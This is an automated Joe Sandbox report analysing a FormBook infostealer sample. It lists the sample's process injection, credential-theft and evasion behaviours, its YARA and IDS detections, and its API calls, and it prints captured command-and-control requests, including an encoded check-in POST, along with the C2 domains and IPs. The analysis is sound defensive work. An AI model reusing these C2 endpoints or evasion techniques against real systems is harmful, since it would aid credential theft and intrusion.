Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
6KzB3ReZ6z.exe

Overview

General Information

Sample name:6KzB3ReZ6z.exe
renamed because original name is a hash value
Original sample name:7360456ec87f544e6a9eb05a88bf81e0ce693fb4b04f6a4f6a71d05ce524abdf.exe
Analysis ID:1632395
MD5:104318787d7dde99ff3a966484410c3b
SHA1:b8be4c9fb1f394fa80df8204ad0c6d25a7d83f9c
SHA256:7360456ec87f544e6a9eb05a88bf81e0ce693fb4b04f6a4f6a71d05ce524abdf
Tags:exeFormbookuser-adrian__luca
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected FormBook
.NET source code contains potential unpacker
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • 6KzB3ReZ6z.exe (PID: 3640 cmdline: "C:\Users\user\Desktop\6KzB3ReZ6z.exe" MD5: 104318787D7DDE99FF3A966484410C3B)
    • 6KzB3ReZ6z.exe (PID: 6292 cmdline: "C:\Users\user\Desktop\6KzB3ReZ6z.exe" MD5: 104318787D7DDE99FF3A966484410C3B)
      • lAXvz0QHVL.exe (PID: 5964 cmdline: "C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\khc5w28ZxVoqz.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)
        • net.exe (PID: 7444 cmdline: "C:\Windows\SysWOW64\net.exe" MD5: 31890A7DE89936F922D44D677F681A7F)
          • lAXvz0QHVL.exe (PID: 2552 cmdline: "C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\jkG7vRtdr2Wj0d.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)
          • firefox.exe (PID: 7588 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000009.00000002.2466198453.00000000030D0000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000002.00000002.1499510890.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000009.00000002.2466280699.0000000003120000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000009.00000002.2463648004.0000000000860000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000002.00000002.1511216318.00000000017B0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.2.6KzB3ReZ6z.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              2.2.6KzB3ReZ6z.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                ⊘No Sigma rule has matched

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2025-03-07T23:21:29.548824+010028554641A Network Trojan was detected192.168.2.44971947.83.1.9080TCP
                2025-03-07T23:21:32.146989+010028554641A Network Trojan was detected192.168.2.44972047.83.1.9080TCP
                2025-03-07T23:21:34.693699+010028554641A Network Trojan was detected192.168.2.44972147.83.1.9080TCP
                2025-03-07T23:21:43.928116+010028554641A Network Trojan was detected192.168.2.449723188.114.96.380TCP
                2025-03-07T23:21:46.568664+010028554641A Network Trojan was detected192.168.2.449724188.114.96.380TCP
                2025-03-07T23:21:49.224957+010028554641A Network Trojan was detected192.168.2.449725188.114.96.380TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus / Scanner detection for submitted sample
                Source: 6KzB3ReZ6z.exeAvira: detected
                Multi AV Scanner detection for submitted file
                Source: 6KzB3ReZ6z.exeVirustotal: Detection: 77%Perma Link
                Source: 6KzB3ReZ6z.exeReversingLabs: Detection: 71%
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.6KzB3ReZ6z.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.6KzB3ReZ6z.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000009.00000002.2466198453.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1499510890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2466280699.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2463648004.0000000000860000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1511216318.00000000017B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1511580453.0000000001860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2465884114.0000000002B90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Joe Sandbox ML detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Source: 6KzB3ReZ6z.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: 6KzB3ReZ6z.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                Source: Binary string: net.pdbUGP source: 6KzB3ReZ6z.exe, 00000002.00000002.1502053463.0000000000F18000.00000004.00000020.00020000.00000000.sdmp, lAXvz0QHVL.exe, 00000008.00000002.2464655080.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdbUGP source: 6KzB3ReZ6z.exe, 00000002.00000002.1509972207.0000000001460000.00000040.00001000.00020000.00000000.sdmp, net.exe, 00000009.00000002.2466536198.00000000034CE000.00000040.00001000.00020000.00000000.sdmp, net.exe, 00000009.00000002.2466536198.0000000003330000.00000040.00001000.00020000.00000000.sdmp, net.exe, 00000009.00000003.1499199014.0000000002FD2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1509907946.000000000318A000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: 6KzB3ReZ6z.exe, 6KzB3ReZ6z.exe, 00000002.00000002.1509972207.0000000001460000.00000040.00001000.00020000.00000000.sdmp, net.exe, net.exe, 00000009.00000002.2466536198.00000000034CE000.00000040.00001000.00020000.00000000.sdmp, net.exe, 00000009.00000002.2466536198.0000000003330000.00000040.00001000.00020000.00000000.sdmp, net.exe, 00000009.00000003.1499199014.0000000002FD2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1509907946.000000000318A000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: net.pdb source: 6KzB3ReZ6z.exe, 00000002.00000002.1502053463.0000000000F18000.00000004.00000020.00020000.00000000.sdmp, lAXvz0QHVL.exe, 00000008.00000002.2464655080.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: lAXvz0QHVL.exe, 00000008.00000000.1420728504.00000000006CF000.00000002.00000001.01000000.0000000C.sdmp, lAXvz0QHVL.exe, 0000000A.00000002.2463624261.00000000006CF000.00000002.00000001.01000000.0000000C.sdmp
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0087CCD0 FindFirstFileW,FindNextFileW,FindClose,9_2_0087CCD0
                Source: C:\Windows\SysWOW64\net.exeCode function: 4x nop then xor eax, eax9_2_00869F80
                Source: C:\Windows\SysWOW64\net.exeCode function: 4x nop then mov ebx, 00000004h9_2_032204DE

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49723 -> 188.114.96.3:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49720 -> 47.83.1.90:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49719 -> 47.83.1.90:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49725 -> 188.114.96.3:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49724 -> 188.114.96.3:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49721 -> 47.83.1.90:80
                Source: Joe Sandbox ViewIP Address: 104.21.48.1 104.21.48.1
                Source: Joe Sandbox ViewIP Address: 104.21.48.1 104.21.48.1
                Source: Joe Sandbox ViewIP Address: 47.83.1.90 47.83.1.90
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: global trafficHTTP traffic detected: GET /ttkm/?jFd=6RoJgUg8bgne3FEAX3GUeRsDre+BflRldZFePYZHLe+lHzqof9E3wqChiqieBHBInLJgANmYmqKOqkBVQaGd8MrBVa5C8iCj8DFpe7JM1fe0jMSq89bA5vI=&DzmD=AXp80jT096p0GhR HTTP/1.1Host: www.enoughmoney.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-N920V 4G Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.4 Chrome/38.0.2125.102 Mobile Safari/537.36
                Source: global trafficHTTP traffic detected: GET /96fy/?jFd=qLmVu2qHnBxiZmcX8H5lD9QyDsJoam2/yZR9kKTxFEnT3tbdG28f+hZDIbhk4xqvsrtPT6DbSR1lIbmCRRjroLFrIT3RDkzasH9N7uMVwlLUYF8G5uSy6ng=&DzmD=AXp80jT096p0GhR HTTP/1.1Host: www.dkeqqi.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-N920V 4G Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.4 Chrome/38.0.2125.102 Mobile Safari/537.36
                Source: global trafficHTTP traffic detected: GET /j1w0/?jFd=AR63tVC/XECnDXf+rBOCYHEFzWmOuEYArHdqKgYhYWLn1DIMgxCCeVMelCS96qOQ+D73cpmRravWqzY1yrSakyQ4i41oINc0yFVNFdIIeSE05aFZOC2dGus=&DzmD=AXp80jT096p0GhR HTTP/1.1Host: www.clzt.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-N920V 4G Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.4 Chrome/38.0.2125.102 Mobile Safari/537.36
                Source: global trafficDNS traffic detected: DNS query: www.guilda.pro
                Source: global trafficDNS traffic detected: DNS query: www.enoughmoney.online
                Source: global trafficDNS traffic detected: DNS query: www.dkeqqi.info
                Source: global trafficDNS traffic detected: DNS query: www.clzt.shop
                Source: unknownHTTP traffic detected: POST /96fy/ HTTP/1.1Host: www.dkeqqi.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usAccept-Encoding: gzip, deflate, brOrigin: http://www.dkeqqi.infoReferer: http://www.dkeqqi.info/96fy/Content-Length: 200Cache-Control: no-cacheConnection: closeContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-N920V 4G Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.4 Chrome/38.0.2125.102 Mobile Safari/537.36Data Raw: 6a 46 64 3d 6e 4a 4f 31 74 47 6e 59 34 42 68 63 66 48 4a 77 30 51 35 65 4e 4b 77 38 4a 75 46 79 56 6d 61 77 7a 50 56 36 6d 36 72 76 42 67 75 6d 69 73 48 34 46 68 63 57 2b 77 4e 42 4e 4f 56 41 39 6a 2f 64 71 73 56 33 59 4b 6a 71 50 78 34 6e 64 4d 6a 41 46 41 6e 52 6c 49 74 55 58 32 37 78 4e 7a 4b 4d 78 6d 64 6f 69 75 68 50 7a 32 69 7a 42 78 46 52 39 38 76 78 77 53 48 2f 53 66 68 2b 4d 38 33 57 55 78 37 75 68 68 2b 46 49 4b 66 50 34 46 6a 55 68 39 75 42 30 70 6f 75 6c 77 47 59 62 57 36 57 61 36 53 55 43 68 55 69 62 57 69 31 59 46 6e 71 56 58 34 72 58 66 2f 31 41 33 35 4d 73 71 72 51 52 51 3d 3d Data Ascii: jFd=nJO1tGnY4BhcfHJw0Q5eNKw8JuFyVmawzPV6m6rvBgumisH4FhcW+wNBNOVA9j/dqsV3YKjqPx4ndMjAFAnRlItUX27xNzKMxmdoiuhPz2izBxFR98vxwSH/Sfh+M83WUx7uhh+FIKfP4FjUh9uB0poulwGYbW6Wa6SUChUibWi1YFnqVX4rXf/1A35MsqrQRQ==
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 07 Mar 2025 22:21:29 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
                Source: lAXvz0QHVL.exe, 0000000A.00000002.2468121597.00000000055EF000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.clzt.shop
                Source: lAXvz0QHVL.exe, 0000000A.00000002.2468121597.00000000055EF000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.clzt.shop/j1w0/
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
                Source: net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org?q=
                Source: net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtabv20
                Source: net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gemini.google.com/app?q=
                Source: net.exe, 00000009.00000002.2464105651.0000000002C95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: net.exe, 00000009.00000002.2464105651.0000000002C95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
                Source: net.exe, 00000009.00000002.2464105651.0000000002C71000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: net.exe, 00000009.00000003.1739220137.0000000007E38000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
                Source: net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/v20
                Source: net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.6KzB3ReZ6z.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.6KzB3ReZ6z.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000009.00000002.2466198453.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1499510890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2466280699.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2463648004.0000000000860000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1511216318.00000000017B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1511580453.0000000001860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2465884114.0000000002B90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0042CE53 NtClose,2_2_0042CE53
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2B60 NtClose,LdrInitializeThunk,2_2_014D2B60
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_014D2DF0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2C70 NtFreeVirtualMemory,LdrInitializeThunk,2_2_014D2C70
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D35C0 NtCreateMutant,LdrInitializeThunk,2_2_014D35C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D4340 NtSetContextThread,2_2_014D4340
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D4650 NtSuspendThread,2_2_014D4650
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2BE0 NtQueryValueKey,2_2_014D2BE0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2BF0 NtAllocateVirtualMemory,2_2_014D2BF0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2B80 NtQueryInformationFile,2_2_014D2B80
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2BA0 NtEnumerateValueKey,2_2_014D2BA0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2AD0 NtReadFile,2_2_014D2AD0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2AF0 NtWriteFile,2_2_014D2AF0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2AB0 NtWaitForSingleObject,2_2_014D2AB0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2D00 NtSetInformationFile,2_2_014D2D00
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2D10 NtMapViewOfSection,2_2_014D2D10
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2D30 NtUnmapViewOfSection,2_2_014D2D30
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2DD0 NtDelayExecution,2_2_014D2DD0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2DB0 NtEnumerateKey,2_2_014D2DB0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2C60 NtCreateKey,2_2_014D2C60
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2C00 NtQueryInformationProcess,2_2_014D2C00
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2CC0 NtQueryVirtualMemory,2_2_014D2CC0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2CF0 NtOpenProcess,2_2_014D2CF0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2CA0 NtQueryInformationToken,2_2_014D2CA0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2F60 NtCreateProcessEx,2_2_014D2F60
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2F30 NtCreateSection,2_2_014D2F30
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2FE0 NtCreateFile,2_2_014D2FE0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2F90 NtProtectVirtualMemory,2_2_014D2F90
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2FA0 NtQuerySection,2_2_014D2FA0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2FB0 NtResumeThread,2_2_014D2FB0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2E30 NtWriteVirtualMemory,2_2_014D2E30
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2EE0 NtQueueApcThread,2_2_014D2EE0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2E80 NtReadVirtualMemory,2_2_014D2E80
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2EA0 NtAdjustPrivilegesToken,2_2_014D2EA0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D3010 NtOpenDirectoryObject,2_2_014D3010
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D3090 NtSetValueKey,2_2_014D3090
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D39B0 NtGetContextThread,2_2_014D39B0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D3D70 NtOpenThread,2_2_014D3D70
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D3D10 NtOpenProcessToken,2_2_014D3D10
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A4340 NtSetContextThread,LdrInitializeThunk,9_2_033A4340
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A4650 NtSuspendThread,LdrInitializeThunk,9_2_033A4650
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2B60 NtClose,LdrInitializeThunk,9_2_033A2B60
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2BA0 NtEnumerateValueKey,LdrInitializeThunk,9_2_033A2BA0
